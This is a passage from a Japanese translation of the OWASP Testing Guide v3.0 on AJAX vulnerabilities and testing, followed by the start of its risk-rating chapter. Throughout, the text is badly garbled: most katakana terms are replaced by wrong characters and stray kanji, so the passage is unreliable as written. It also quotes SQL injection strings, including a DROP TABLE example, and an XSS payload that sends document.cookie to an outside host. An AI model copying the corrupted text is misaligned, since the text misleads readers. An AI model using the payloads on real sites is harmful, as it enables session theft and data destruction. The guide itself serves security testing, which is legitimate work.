度 を 与 えられているので、AJAX アプヨクーサュヱをテシトすることは 挑 戦 的 なことです。 従 来 のウェブアプヨクーサュヱでは、<br />

GET や POST ヨキウシトを 通 して 提 出 される 標 準 的 な HTML フェーマは、 理 解 しやすい 形 式 となっており、そのため、 新 しくと<br />

も 十 分 に 検 証 されたヨキウシトを 更 新 し 作 成 することは 容 易 なことです。AJAX アプヨクーサュヱは、POST デーソの 送 信 のため<br />

に、 異 なるウヱケーディヱギやサヨアョイズーサュヱの 枠 組 みを 時 々 使 用 するので、テシト 用 ヨキウシトを 自 動 で 確 実 に 作 成 し<br />

てくれるテシトツーラの 利 用 が 難 しくなります。ウェブ・プルカサ・ツーラの 使 用 は、 舞 台 裏 で 非 同 期 通 信 を 観 察 し、この 通 信<br />

を、AJAX を 利 用 したアプヨクーサュヱをテシトするに 適遚 したデーソへ 変 更 するのに 有 用 です。<br />

このスキサュヱでは、これらのトピッキを 扱 います。<br />

4.11.1 AJAX の 脆 弱 性 (<strong>OWASP</strong>-AJ-001)<br />

4.11.2 AJAX に 対 するテシト (<strong>OWASP</strong>-AJ-002)<br />

4.11.1 AJAX の 脆 弱 性 (<strong>OWASP</strong>-AJ-001)<br />

問 題 提 起<br />

AJAX(Asynchronous JavaScript and XML、 、 非 同 期 JavaScript および XML)は、ウェブアプヨクーサュヱ 開 発 者 が、ルーォ<br />

ラアプヨクーサュヱによく 似 たヤーゴの 体 感 を 提 供 するために 使 用 する、 最 新 技 術 の 一 つです。AJAX は 未 だ 新 しい 技 術 で<br />

あるので、まだまだ 十 分 に 研 究 されていないスカャヨティの 課 題 が 多 くあります。AJAX のスカャヨティの 課 題 には、 一 部邪 として、<br />

次 のようなものが 挙 げられます。<br />

• 安 全 にするために 入 力 を 多 くするほど 増 加 する 攻 撃 の 窓 口<br />

• アプヨクーサュヱの 内 部邪 関 数 の 公 開<br />

• スカャヨティとウヱケーディヱギの 仕 組 みが 組 み 込 まれていない、 第 三 者 のヨセーシへのキョイアヱトのアキスシ<br />

• 認 証 情 報 とスッサュヱの 保 護 の 失 敗<br />

• スカャヨティの 誤 りに 陥 る、キョイアヱト 側 のケードとコーバ 側 のケードとのあいまいな 境 界<br />

329


攻 撃 と 脆 弱 性<br />

XML HTTPRequest 脆 弱 性<br />

AJAX は、ウェブコービシである 場 合 も 含 み、コーバ 側 のアプヨクーサュヱとのすべての 通 信 に 対 し、XML HttpRequest(XHR'<br />

エブザェキトを 使 用 します。キョイアヱトは、 本 来 のヘーザとしての 同 じコーバ 上 の 特牐 定 の URL へヨキウシトを 送 り、コーバか<br />

ら 返 信 を 受 け 取 るでしょう。これらの 返 信 は HTML の 断 爭 であることがよくありますが、XML、Javascript Object Notation<br />

(JSON'、 画 像 デーソ、あるいは、 他 の Javascript が 処 理 できるものであることもあります 。<br />

第 二 に、 非 SSL 通 信 で AJAX ヘーザを 評 価 する 場 合 に、その 後 に 続 く XMLHttpRequest 呼 び 出 しは、SSL で 暗 号 化 されま<br />

せん。 従 って、ルギイヱデーソは、 平 文 で 電 線 上 を 行 き 来 します。 最 近 のブョウゴはコホートしていますが、 安 全 な<br />

HTTPS/SSL タメヱネラを 利 用 することは、そのような 攻 撃 が 起 こるのを 防 ぐ 最 も 簡 単 な 方 法 です。<br />

XMLHttpRequest(XHR'エブザェキトは、ウェブ 上 の 全 てのコーバの 情 報 を 取 り 出 します。これは、SQL イヱザェキサュヱやキル<br />

シ・コイト・シキヨプティヱギ(XSS'など、 他 の 様 々な 攻 撃 を 誘 引 するでしょう。<br />

増 加 する 攻 撃 の 窓 口<br />

従 来 のウェブアプヨクーサュヱが 完媍 全 にコーバにあるのと 異 なり、AJAX アプヨクーサュヱは、キョイアヱトとコーバの 両 方 に 活<br />

躍 の 場 を 広 げ、キョイアヱトに 権 限 を 与 えています。このことは、 悪 意 のある 内 容 を 挿 入 する 機 会 をさらに 提 供 することになり<br />

ます。<br />

SQL アンヱジェクシュンヱ<br />

SQL イヱザェキサュヱ 攻 撃 は、デーソプーシへの 遠遒 隔 攻 撃 であり、 攻 撃 者 はデーソプーシ 上 のデーソを 更 新 します。<br />

典 型 的 な SQL イヱザェキサュヱ 攻 撃 には、 次 のようなものがあります。<br />

例 1<br />

SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;<br />

このキウヨーは、テーブラのデーソが 空 でないならば、 常 に 1 行 のリシホヱシを 返 します。その 1 行 は、テーブラの 始妵 めの<br />

ウヱトヨーとなることでしょう。 多 くのアプヨクーサュヱでは、そのウヱトヨーは 管 理 者 のルギイヱ 情 報 で、まさに、 最 大 の 権 限 を<br />

持 っている 情 報 となります。<br />

例 2<br />

SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;<br />

上 記 のキウヨーは、drop のデーソプーシ 操 作 で 全 てのテーブラを 失 わわせ、デーソプーシを 破 壊 します。<br />

SQL イヱザェキサュヱに 関 する 詳 細 は、SQL イヱザェキサュヱに 対 するテシトで 見 つけられます。<br />

クロス・サアテ・スクリプテァンヱギ(XSS<br />

XSS)<br />

キルシ・コイト・シキヨプティヱギは、HTML のヨヱキや JavaScript のアョートやウョーミッスーザのフェーマに、 悪 意 ある 内 容 が<br />

挿 入 される 技 術 です。キルシ・コイト・シキヨプティヱギ(XSS'の 弱 点 は、キッカー 窃 盗 、アォウヱト・ハイザメッキ、コービシ 拒 否<br />

攻 撃 のように、 他 の 様 々な 攻 撃 を 引 き 起 こすために 使 うことができます。<br />

ブョウゴと AJAX ヨキウシトは 同 一 に 見 えるので、コーバはそれらを 区 別 することができません。 結 果 として、 誰 が 背 後 でヨキ<br />

ウシトを 作 ったのかを 区 別 することはできないのです。JavaScript プルギョマは、ヤーゴが 知 らない 裏 方 で 存 在 している 資 源<br />

を 要 求 するために、AJAX を 使 うことができます。ブョウゴは 自 動 的 に、キッカーのような 認 証 や 状牮 態 維 持 のための 情 報 をヨキ<br />

330


<strong>OWASP</strong> Testing Guide v3.0<br />

ウシトに 追 加 するでしょう。それから、JavaScript ケードは、この 隠 れたヨキウシトに 対 するリシホヱシを 評 価 して、 更 なるヨキウ<br />

シトを 送 ります。JavaScript 機 能 のこの 拡 張 により、キルシ・コイト・シキヨプティヱギ(XSS' 攻 撃 が 引 き 起 こす 被 害 の 可 能 性 を 増<br />

すことになります。<br />

また、XSS 攻 撃 は、ヤーゴが 見 ている 最 新 のヘーザの 他 、 特牐 定 のヘーザにヨキウシトを 送 ることができるでしょう。このことは、<br />

攻 撃 者 が、 能 動 的 にある 内 容 を 探 し、こっそりとデーソにアキスシするのを 許 してしまいます。<br />

XSS の 負 荷 デーソは、 自 身 をヘーザへ 自 律 的 に 挿 入 することに、AJAX ヨキウシトを 利 用 することができます。そして、(ウイラ<br />

シのような'さらなる XSS を 使 って、 簡 単 に 同 じベシトへ 再 挿 入 することができます。そういったことは 全 て、ハードを 更 新 しな<br />

くても 行 うことができます。 従 って、XSS は、 複 雑 に HTTP の 方 法 を 使 って 複 数 のヨキウシトを 送 り、ヤーゴに 見 えないように 自<br />

身 を 拡 散 させることができます。<br />

例<br />

alert("howdy")<br />

document.location='http://www.example.com/pag.pl?'%20+document.cookie<br />

使 い 方 は、 次 のようになります。<br />

http://example.com/login.php?variable=">document.location='http://www.irr.com/cont.ph<br />

p?'+document.cookie<br />

これは、ヨキウシトが 要 求 した 本 来 のヘーザへルギを 残 した 後 、そのヘーザを 知 らない 悪 意 のあるヘーザに、 単 に 転 送 する<br />

だけです。<br />

クラアアンヱテ 側 のアンヱジェクシュンヱの 脅 威<br />

• XSS の 弱 点 では、キョイアヱト 側 のデーソへのアキスシ 権 を 与 え、キョイアヱト 側 のケードを 更 新 することさえもできて<br />

しまいます。<br />

• DOM イヱザェキサュヱは XSS イヱザェキサュヱの 一 種 であり、XSS イヱザェキサュヱが DOM(Document Object Model'<br />

のコブエブザェキトや、document.location、document.URL、document.referrer を 通 して 起 こったものです。<br />

<br />

var pos=document.URL.indexOf("name=")+5;<br />

document.write(document.URL.substring(pos,document.URL.length));<br />

<br />

• JSON/XML/XSLT イヱザェキサュヱ ‐XML ケヱテヱツに 悪 意 あるケードを 挿 入 します。<br />

AJAX ブリチジンヱギ<br />

スカャヨティの 目 的 で、AJAX アプヨクーサュヱは、 自 分 がやって 来 た 元 のウェブコイトにだけに 接 続 し 直 すことができます。<br />

例 えば、yahoo.com からゾウヱルードされた AJAX を 含 む JavaScript は、google.com へ 接 続 することはできません。このよう<br />

に AJAX が 第 三 者 のコイトへ 接 続 するのを 許 可 すると、AJAX コービシ・ブヨッザが 作 られるでしょう。ブヨッザによりベシトは、キ<br />

ョイアヱトで 動 作 している JavaScript と 第 三 者 のコイトとの 間 で、 通 信 を 送 るプルカサのような 挙 動 をするウェブコービシを 提<br />

供 します。ブヨッザは、「ウェブコービシへのウェブコービシ」という 接 続 に 使 わわれることが 考 えられます。 攻 撃 者 は、これをア<br />

キスシ 制 限 のあるコイトに 接 続 するために 利 用 することでしょう。<br />

クロス・サアテ・リクエステ・フォージェリ(CSRF<br />

CSRF)<br />

CSRF は、 被 害 者 のウェブブョウゴからの HTTP ヨキウシトを、 攻 撃 者 が 選遥 ぶウェブコイトに、 攻 撃 者 が 強 制 的 に 送 信 させる 脆<br />

331


弱 性 です(イヱトョネットもまた、かっこうの 標 的 となります'。 例 えば、ウェブヘーザに 組 み 込 まれた HTML/JavaScript のケー<br />

ドは、あなたが 送 信 したものを 読 み 取 りながら、あなたのブョウゴからの 送 るつもりのないヨキウシトを、あなたの 銀 行 、ブルギ、<br />

ウェブミーラ、DSL ラーソに 送 信 させます。 目 に 見 えないところで、CSRF は、 資 金 を 移 し、ケミヱトを 投 稿 し、 電 子婡 ミーラのヨ<br />

シトを 悪 用 し、ネットワローキの 設 定 を 変 更 するでしょう。 被 害 者 が CSRF ヨキウシトを 実 行 させられたときに、 被 害 者 が 最 近 ルギ<br />

イヱしていたならば、CSRF のヨキウシトは 認 証 されてしまうでしょう。 最 悪 なのは、すべてのサシテマルギは、 本 物片 のあなたが<br />

そのヨキウシトを 行 ったというように 立 証 してしまうだろうということです。この 攻 撃 は、 一 般 的 ではないけれども、 以 前 から 行 わわ<br />

れています。<br />

サーパス 拒 否 攻 撃<br />

コービシ 拒 否 攻 撃 は、 古 くからの 手 口 であり、 攻 撃 者 あるいは 脆 弱 性 なアプヨクーサュヱが 強 制 的 に、ヤーゴの 意 思 とは 関<br />

係 なく、ヤーゴに 複 数 の XMLHttpRequest を 対 象 のアプヨクーサュヱへ 送 出 させます。 実 は、ブョウゴのドミイヱ 制 限 は、そ<br />

のような 攻 撃 を 他 のドミイヱに 送 出 する 場 合 において、XMLHttpRequest を 役 に 立 たないものにします。JavaScript のラープ<br />

の 中 で image ソギを 使 うというような 簡 単 な 仕 掛 けで、その 仕 掛 けをより 効 果 的 に 動 作 させることができます。AJAX は、キョイ<br />

アヱト 側 にあるので、 攻 撃 がより 簡 単 にできるのです。<br />

<br />

ミムリー 漏 えい<br />

ブラウザベースの 攻 撃<br />

私 たちが 使 うウェブブョウゴは、スカャヨティを 意 識 して 設 計 されていません。ブョウゴで 利 用 可 能 なスカャヨティ 機 能 の 多 く<br />

は、 以 前 に 発 生 したことのある 攻 撃 に 基 づいており、これから 新 しく 登 場 する 攻 撃 に 対 して、ブョウゴは 準 備 していません。<br />

ブョウゴを 使 って 組 織 内 部邪 のネットワローキに 侵 入 するといったような、ブョウゴに 関 する 新 しい 攻 撃 は 数 多 くあります。<br />

JavaScript はまず、 組 織 内 部邪 のネットワローキにある PC のアドリシを 確 定 します。それから、 標 準 的 な JavaScript エブザェキト<br />

やケボヱドを 使 って、ルーォラ・ネットワローキをシカメヱしてウェブコーバを 探 します。これらは、ウェブヘーザをコービシして<br />

いるケヱピャーソのことを 指 しますが、Web のイヱソーフェーシを 備 えているラーソ、プヨヱソー、IP 電 話 、その 他 のネットワロ<br />

ーキ 機 器 やアプヨクーサュヱも 含 まれます。JavaScript シカメナは、JavaScript の「image」エブザェキトを 使 った「ping」を 送 り<br />

込 んで、ある IP アドリシにケヱピャーソがあるかどうかを 確 定 します。それから、 標 準 的 な 場 所 に 保 存 されている 画 像 ファイ<br />

ラを 探 し、その 戻 ってきた 通 信 やウョーミッスーザを 解 析 して、コーバが 稼 動 しているかを 確 定 します。<br />

ウェブブョウゴやウェブアプヨクーサュヱの 脆 弱 性 を 狙犁 った 攻 撃 は、HTTP で 行 わわれることが 多 く、そのために、ネットワローキ 境<br />

界 に 置 かれたフィラソヨヱギ 機 能 を 迂 回 しているかもしれません。 加 えて、ウェブアプヨクーサュヱやウェブブョウゴが 広 範 囲<br />

に 存 在 することは、 攻 撃 者 に、 簡 単 に 悪 用 できる 標 的 の 情 報 を 非 常 に 多 く 与 えます。 例 えば、ウェブブョウゴの 脆 弱 性 は、<br />

エヘリーサュヱサシテマの 要 素 や 個 々のアプヨクーサュヱに 存 在 する 脆 弱 性 の 悪 用 を 引 き 起 こすでしょう。そして、ペットなど、<br />

悪 意 のあるケードを 設 置 させるでしょう。<br />

主 な 攻 撃<br />

MySpace 攻 撃<br />

Samy ワローマと Spaceflash ワローマは 両 方 、MySpace で 広 がり、 非 常 に 人 気 のあるセーサメラ・ネットワローカヱギのウェブコイト<br />

上 でプルファイラを 変 更 しました。Samy ワローマ 攻 撃 では、MySpace.com のプルファイラで XSS の 弱 点 がの 使 用 を<br />

許 可 していました。AJAX は、ヤーゴがウイラシに 感 染 したヘーザを 見 ると、ウイラシを MySpace のプルファイラに 挿 入 し、ウ<br />

イラシに 感 染 したヘーザを 閲 覧 したヤーゴに、 強 制 的 にヤーゴ「Samy」を 友 人 ヨシトに 追 加 させました。また、「Samy は 私 の<br />

ヒールーだ」という 言 葉 を、 被 害 者 のプルファイラに 付 け 加 えました。<br />

332


<strong>OWASP</strong> Testing Guide v3.0<br />

Yahoo! Mail 攻 撃<br />

2006 年 6 月 、Yamanner ワローマが Yahoo のミーラコービシに 感 染 しました。ワローマは、XSS や AJAX を 使 い、Yahoo Mail の<br />

エヱルード・イプヱト・ハヱドヨヱギの 脆 弱 性 を 利 用 しました。 感 染 した 電 子婡 ミーラを 開 くと、ワローマのケードはその JavaScript<br />

を 実 行 して、 自 分 自 身 のケピーを、 感 染 したヤーゴの Yahoo ケヱソキトすべてに 送 ります。 感 染 した 電 子婡 ミーラは、 感 染 した<br />

サシテマからョヱゾマに 選遥 択 した 偽 造造 の From アドリシを 付 けて 送 られ、 知 り 合 いのヤーゴからの 電 子婡 ミーラのように 見 える<br />

状牮 況 でした。<br />

参 考 文 献<br />

技 術 解 説 書<br />

Billy Hoffman, "Ajax(in) Security" - http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf<br />

Billy Hoffman, "Analysis of Web Application Worms and Viruses - http://www.blackhat.com/presentations/bh-usa-06/BH-US-<br />

06-Hoffman_web.pdf ",SPI Labs<br />

Billy Hoffman, "Ajax Security Dangers" - http://www.spidynamics.com/assets/documents/AJAXdangers.pdf ,SPI Labs<br />

“Ajax: A New Approach to Web Applications”, Adaptive Path -<br />

http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett<br />

http://en.wikipedia.org/wiki/AJAX AJAX<br />

http://ajaxpatterns.org AJAX Patterns<br />

4.11.2 AJAX に 対 するテステ (<strong>OWASP</strong>-AJ-002)<br />

概 要<br />

AJAX アプヨクーサュヱに 対 するほとんどの 攻 撃 は、 従 来 のウェブアプヨクーサュヱに 対 する 攻 撃 に 類 似 しているので、テシト<br />

者 は、 脆 弱 性 を 発 見 するにあたって、 特牐 定 のパョミーソ 操 作 方 法 を 予 測 するために、テシトオイドの 他 のスキサュヱを 参 照 す<br />

べきです。AJAX を 利 用 したアプヨクーサュヱの 課 題 に、 非 同 期 呼 び 出 しを 標 的 とするウヱドホイヱトを 見 つけ、ヨキウシトに 適遚<br />

切 な 形 式 を 確 定 することがあります。<br />

論 点 解 説<br />

従 来 のウェブアプヨクーサュヱは、かなり 簡 単 に、 自 動 的 な 方 式 で 発 見 できます。アプヨクーサュヱは、 一 般 には、HREF やそ<br />

の 他 のヨヱキで 接 続 することで、1 ヘーザ 以 上 を 保 有 しています。 興 味 深 いヘーザには、1 つ 以 上 の HTML FORM があるで<br />

しょう。これらのフェーマは、 一 つ 以 上 のパョミーソがあります。「A」ソギや HTML FORM に 期 待 されるような 簡 単 にヨヱキをは<br />

る 技 術 を 使 うと、すべてのヘーザ、フェーマ、パョミーソを、 従 来 のウェブアプヨクーサュヱで 見 つけることが 可 能 でしょう。こ<br />

のアプヨクーサュヱに 送 られたヨキウシトは、HTTP 仕 様 に 基 づいた、 公 知 で 整 合 性 のとれたフェーボットを 生 成 します。GET ヨ<br />

キウシトは、 次 のようなフェーボットになります。<br />

http://server.com/directory/resource.cgi?param1=value1&key=value<br />

POST ヨキウシトは、 次 のように、 類 似 の 形 式 で URL へ 送 られます。<br />

http://server.com/directory/resource.cgi<br />

333


POST ヨキウシトで 送 られるデーソは、GET と 類 似 の 形 式 でウヱケードされ、ヨキウシトのうちのブッゾの 後 ろに、 次 のように 記<br />

述 されます。<br />

param1=value1&key=value<br />

不 幸 なことに、コーバ 側 の AJAX ウヱドホイヱトは、 簡 単 に 発 見 できるわわけでも、いつも 同 じ 方 法 で 発 見 できるわわけでもなく、<br />

実 際 に 有 効 なヨキウシトの 形 式 は、AJAX フリーマワローキで 使 わわれているものか、 開 発 者 の 裁 量 で 考 えたものの 中 にあります。<br />

従 って、AJAX を 利 用 したアプヨクーサュヱを 十 分 にテシトするために、テシト 者 は、 使 わわれているフリーマワローキ、 使 わわれてい<br />

る AJAX のウヱドホイヱト、ヨキウシトが 正 当 だと 判 断 されるのに 必 要 な 形 式 を 認 識 する 必 要 があります。<br />

ブラチクボチクステステと 例<br />

AJAX エンヱデポアンヱテに 対 するテステ<br />

テステ:<br />

AJAX を 利 用 したウェブアプヨクーサュヱがテシトされる 前 に、 非 同 期 呼 び 出 しの 呼 び 出 しウヱドホイヱトが 列 挙 されていなけ<br />

ればなりません。Application_Discovery スキサュヱを 見 て、どのように 従 来 のウェブアプヨクーサュヱが 発 見 されるかについて、<br />

さらなる 情 報 を 入 手 してください。AJAX アプヨクーサュヱに 対 して、 呼 び 出 しウヱドホイヱトを 確 定 するために、2 つの 主 なア<br />

プルータがあります。HTML ファイラと JavaScript ファイラを 構 文 解 析 する 方 法 と、 通 信 を 観 測 するプルカサを 使 用 すること<br />

です。ウェブアプヨクーサュヱで HTML ファイラと JavaScript ファイラを 構 文 解 析 する 利 点 は、キョイアヱト 側 からアキスシでき<br />

るコーバ 側 の 能 力 をより 大 局 的 に 見 る 視 点 を 提 供 することです。 欠 点 は、HTML ファイラと JavaScript の 内 容 を 手 動 でテシト<br />

するのは 退 屈 で、さらに 重 要 なことには、AJAX 呼 び 出 しがアキスシできるコーバ 側 URL の 場 所 と 形 式 は、フリーマワローキ 依<br />

存 であることです。テシト 者 は、HTML ファイラと JavaScript ファイラを 調 べて、さらなるアプヨクーサュヱの 窓 口 として 公 開 さ<br />

れている URL を 見 つけるべきでしょう。JavaScript ケードの 中 で XMLHttpRequest エブザェキトの 使 用 を 探 すことは、これらの<br />

テシトした 結 果 に 注 力 することを 支 援 します。また、JavaScript ファイラに 含 まれる name を 知 ることで、テシト 者 は、どの AJAX<br />

フリーマワローキが 出 現 しているのかを 確 定 できます。AJAX のウヱドホイヱトが 特牐 定 できたら、テシト 者 はさらにケードを 調 べて、<br />

ヨキウシトが 要 求 する 形 式 を 確 定 すべきでしょう。<br />

通 信 を 観 測 するためにプルカサを 使 用 する 利 点 は、 本 物片 のヨキウシトが 実 際 に 行 わわれ、アプヨクーサュヱがどこにヨキウシトを<br />

送 り、それらヨキウシトがどんな 形 式 であるか 確 定 できることです。 欠 点 は、アプヨクーサュヱが 実 際 に 呼 び 出 したウヱドホイ<br />

334


<strong>OWASP</strong> Testing Guide v3.0<br />

ヱトだけが 明 らかになることです。テシト 者 は、 遠遒 隔 のアプヨクーサュヱを 十 分 に 稼 動 させなければなりませんが、その 場 合 に<br />

も、 利 用 できる 状牮 態 にはあるけれど 実 際 には 使 用 していない、 追 加 で 呼 び 出 せるウヱドホイヱトが 存 在 しています。アプヨク<br />

ーサュヱを 稼 動 させる 中 で、ヤーゴが 見 ることのできるヘーザとの 通 信 と、 背 後 で 非 同 期 に AJAX のウヱドホイヱトとやりとりし<br />

ている 通 信 との 両 方 を、プルカサは 観 測 するでしょう。このようにスッサュヱの 通 信 デーソを 捕 捉 することで、テシト 者 は、スッ<br />

サュヱの 間 ずっと 生 成 され 続 けている HTTP ヨキウシトのすべてを 確 定 することが 可 能 であり、アプヨクーサュヱの 利 用 ではヤ<br />

ーゴが 見 ることのできるヘーザを 閲 覧 するだけであるのとは 対 照 的 です。<br />

予 想 される 結 果 :<br />

アプヨクーサュヱが 利 用 できる AJAX のウヱドホイヱトを 列 挙 し、 要 求 されるヨキウシトの 形 式 を 決 定 することで、テシト 者 は、ア<br />

プヨクーサュヱのさらなる 分 析 に 備 えることができます。ウヱドホイヱトと 適遚 切 なヨキウシト 形 式 を 確 定 したら、テシト 者 は、ウェ<br />

ブプルカサと 標 準 的 なウェブアプヨクーサュヱのパョミーソ 操 作 技 術 を 使 って、SQL イヱザェキサュヱとパョミーソを 不 正 に 変<br />

更 する 攻 撃 を 調 べることができます。<br />

ブラウザを 使 った JavvaScript ケーデの 傍 受 とデバチギ<br />

通 常 のブョウゴを 使 うことで、JavaScript プーシのウェブアプヨクーサュヱを 詳 細 に 分 析 することが 可 能 になります。<br />

Firefox における AJAX 呼 び 出 しは、ケードの 流 れを 監 視 する 拡 張 プョギイヱを 使 って 傍 受 することができます。<br />

この 機 能 を 提 供 する 拡 張 に、「FireBug」と「Venkman JavaScript Debugger」という 2 つの 拡 張 があります。<br />

Internet Explorer に 対 しては、Microsoft によって 提 供 されている「Script Debugger」のような、いくつかのツーラがあります。<br />

「Script Debugger」は、ヨアラソイマで JavaScript のデバッギを 行 うものです。<br />

Internet Explorer では、「Script Debugger」のようないくつかのツーラが、ボイキルセフトから 提 供 されています。「Script<br />

Debugger」は、ヨアラソイマに Java Script をデバッギするツーラです。<br />

ヘーザに Firebug を 使 うことで、テシト 者 は、「Options->Show XmlHttpRequest」 と 設 定 して、AJAX のウヱドホイヱトを 見 つけ<br />

ることができます。<br />

335


今 後 は、XMLHttpRequest エブザェキトで 実 行 されるヨキウシトが、ブョウゴの 下 部邪 で 一 覧 できることでしょう。<br />

URL の 右 側 で、セーシ・シキヨプトと、 呼 び 出 しがどこから 行 わわれているかを 示 す 線 とが 表 示 されます。 表 示 された URL をキヨ<br />

ッキすることで、すべてのリシホヱシが 表 示 されます。<br />

そうすると、どこでヨキウシトが 送 られるか、リシホヱシが 何 か、ウヱドホイヱトがどこかということを 理 解 することは 容 易 です。セ<br />

ーシ・シキヨプトへのヨヱキをキヨッキしたら、テシト 者 は、ヨキウシトがどこで 始妵 まるかが 分 かるでしょう。<br />

Javascript をデバッギするということは、どんなシキヨプトが URL を 生 成 するのか、どのくらい 多 くのパョミーソが 利 用 できるか<br />

を 知 る 方 法 です。そこで、パシワロードを 書 き 込 み、 関 連連 した 入 力 ソギからフェーォシを 外 したときに、フェーマを 埋 めると、 次<br />

のシキヨーヱサュットで 見 られるように 新 しいヨキウシトが 実 行 されます。<br />

336


<strong>OWASP</strong> Testing Guide v3.0<br />

ここで、JavaScript のセーシケードへのヨヱキをキヨッキすることで、テシト 者 は、 次 のウヱドホイヱトにアキスシします。<br />

それから、JavaScript のウヱドホイヱトの 近 くの 行 にブリーキホイヱトを 設 定 することで、 次 のシキヨーヱサュットのように、 呼 び<br />

出 しシソッキを 知 ることが 簡 単 になります。<br />

ギレーボチクステステと 例<br />

AJAX エンヱデポアンヱテに 対 するテステ<br />

テステ:<br />

アプヨクーサュヱのセーシケードに 関 する 追 加 情 報 へのアキスシは、AJAX のウヱドホイヱトを 列 挙 する 努 力 が 結 実 するのを<br />

大 いに 加 速 し、どんなフリーマワローキが 使 わわれているかの 知 識 は、AJAX のヨキウシトに 要 求 される 形 式 を、テシト 者 が 理 解 す<br />

るのに 役 立 つでしょう。<br />

予 想 される 結 果 :<br />

使 わわれているフリーマワローキの 知 識 と、 利 用 できる AJAX のウヱドホイヱトとは、テシト 者 に 労 力 を 集 中 させ、 発 見 に 要 する 時<br />

間 やアプヨクーサュヱへアキスシした 痕 跡 を 減 らすことができます。<br />

337


参 考 文 献<br />

<strong>OWASP</strong><br />

• AJAX_Security_Project - http://www.owasp.org/index.php/Category:<strong>OWASP</strong>_AJAX_Security_Project<br />

技 術 解 説 書<br />

Hacking Web 2.0 Applications with Firefox, Shreeraj Shah<br />

Vulnerability Scanning Web 2.0 Client-Side Components, Shreeraj Shah<br />

ヂール<br />

<br />

<br />

<br />

<br />

<br />

<br />

<strong>OWASP</strong> Sparajax というツーラは、ウェブアプヨクーサュヱを 網 羅 し、 使 わわれている AJAX フリーマワローキを 特牐 定 し、AJAX の 呼 び 出<br />

しウヱドホイヱトを 列 挙 し、これらのウヱドホイヱトをフリーマワローキに 適遚 切 な 通 信 を 使 ってファザヱギするために 使 わわれます。 最<br />

新 爮 では、Microsoft Atlas フリーマワローキ(そして、Google Web ツーラカットに 対 する 検 知 'のみをコホートしていますが、 継 続<br />

開 発 でツーラの 使 い 勝 手 を 向 上 するでしょう。<br />

Venkman は、Mozilla の JavaScript デバッオのケード 名 です。Venkman は、Mozilla プーシのブョウゴ 向 けに、 強 力 な<br />

JavaScript デバッギ 環 境 を 提 供 します。<br />

Scriptaculous's Ghost Train は、ウェブコイトの 機 能 テシト 開 発 を 簡 単 にするツーラです。それは、イプヱトのリケーゾーで、ウェ<br />

ブアプヨクーサュヱで 使 うことができ、テシトを 生 成 し 再 生 するアド・エヱです。<br />

Squish は、 自 動 化 された 機 能 テシトツーラです。そのツーラで、あなたは、テシトシキヨプトを 更 新 する 必 要 もなく、 異 なるプョット<br />

フェーマの 異 なるブョウゴ(IE、Firefox、Safari、Konqueror など'で、ウェブテシトを 記 録 し、 編 集 し、 実 行 することができます。テ<br />

シトを 行 うために、 異 なるシキヨプト 言 語 をコホートします。<br />

JsUnit は、キョイアヱト 側 (ブョウゴ 内 部邪 'の JavaScript に 対 する 単 体 テシトを 行 うフリーマワローキです。そのツーラは、 基 本 的 に<br />

JavaScript を 行 き 先 とした JUnit のホートとなっています。<br />

FireBug は、カーペードやボウシを 使 って、DOM の 重 箱 の 隅 をつつく 調 査 をあなたにさせてくれます。あなたが JavaScript、CSS、<br />

HTML、Ajax を 突 き、 刺 激 し、 監 視 するために 必 要 なすべてを 詰 め 込 んだこのツーラは、デバッオやウョーケヱセーラやケボヱ<br />

ドョイヱや 面 白 い 調 査 ツーラの 様 々を 含 めてまるごと 一 緒 にし、ひとつの 継 ぎ 目 のない 体 感 をもたらしてくれます。<br />

5.レポーテを 書 く: 最 も 重 要 なリスクを 評 価 する<br />

この 章 では、スカャヨティ・アスシミヱトの 結 果 として、 最 も 重 要 なヨシキをどのように 評 価 するかについて 説 明 します。 目 的 は、<br />

スカャヨティ 上 の 発 見 を 分 析 し、それら 発 見 に 優 先 順 位 をつけて 管 理 するためにヨシキを 評 価 するための、 一 般 的 な 方 法 論<br />

を 作 ることです。アスシミヱトを 簡 単 に 一 覧 できる 表 がすでに 提 起 されています。この 表 は、 技 術 的 な 情 報 をキョイアヱトに 伝<br />

える 役 目 を 果 たします。そして、ボネザミヱトのためのウキズキティブ・コボヨーがあることは 重 要 なことです。<br />

5.1 どのように 本 当 のリスクを 評 価 するか<br />

<strong>OWASP</strong> リスク 評 価 方 法 論<br />

脆 弱 性 を 発 見 することは 重 要 ですが、ただ 重 要 というのではなく、ビザネシに 関 連連 したヨシキを 評 価 できることが 重 要 です。ョ<br />

イフコイキラの 初 期 で、 脅 威姕 ムデラを 使 い、アーカテキタメや 設 計 上 のスカャヨティ 関 連連 事 項 を 特牐 定 しておくとよいでしょう。<br />

後 に、ケード・リビャーや 侵 入 テシトにより、スカャヨティの 問 題 を 見 つけるというのでもよいでしょう。そうしないと、アプヨクー<br />

サュヱが 製 品 化 され、 実 際 にスカャヨティ 侵 害 が 起 こるまで、 問 題 は 発 見 されないかもしれません。<br />

338


<strong>OWASP</strong> Testing Guide v3.0<br />

ここで 示 す 方 法 に 従 うと、あなたのビザネシについて、これらのヨシキすべての 重 要 性 を 評 価 することができるでしょう。そして、<br />

評 価 したヨシキについては、 何 をすべきかという 情 報 に 基 づいて 決 定 できるでしょう。ヨシキを 評 価 するサシテマがあると、 優<br />

先 度 の 議 論 を 省 き 時 間 を 節 約 できます。このサシテマのおかげで、たいしたことのないヨシキに 気 を 散 らすことなく、より 深 刻<br />

なヨシキを 十 分 な 理 解 がないまま 見 逃 すということを 防 いで、ヨシキを 評 価 する 作 業 を 確 実 にすることでしょう。<br />

理 想 的 には、すべての 組 織 に 適遚 用 でき、すべてのヨシキを 正 確 に 評 価 することのできる、 世 界 共 通 のヨシキ 評 価 サシテマが<br />

あるのが 望 ましいです。しかし、ある 組 織 にとって 重 大 な 脆 弱 性 は、 他 の 組 織 にとってはあまり 重 大 ではないことがあります。<br />

そこで、ここでは、あなたの 組 織 に 合 うようにォシソボイジすべき、 基 本 的 な 枠 組 みを 示 すこととします。<br />

私 たちは、このムデラを、 使 用 しやすいように 十 分 に 簡 単 なものするよう、 力 を 尽 くしました。 簡 単 であるけれども、 正 確 にヨ<br />

シキの 見 積 もりが 実 施 できるように 十 分 に 詳 細 に 記 述 しています。どうぞ、 以 下 のスキサュヱを 参 考 に、さらなる 情 報 でォシソ<br />

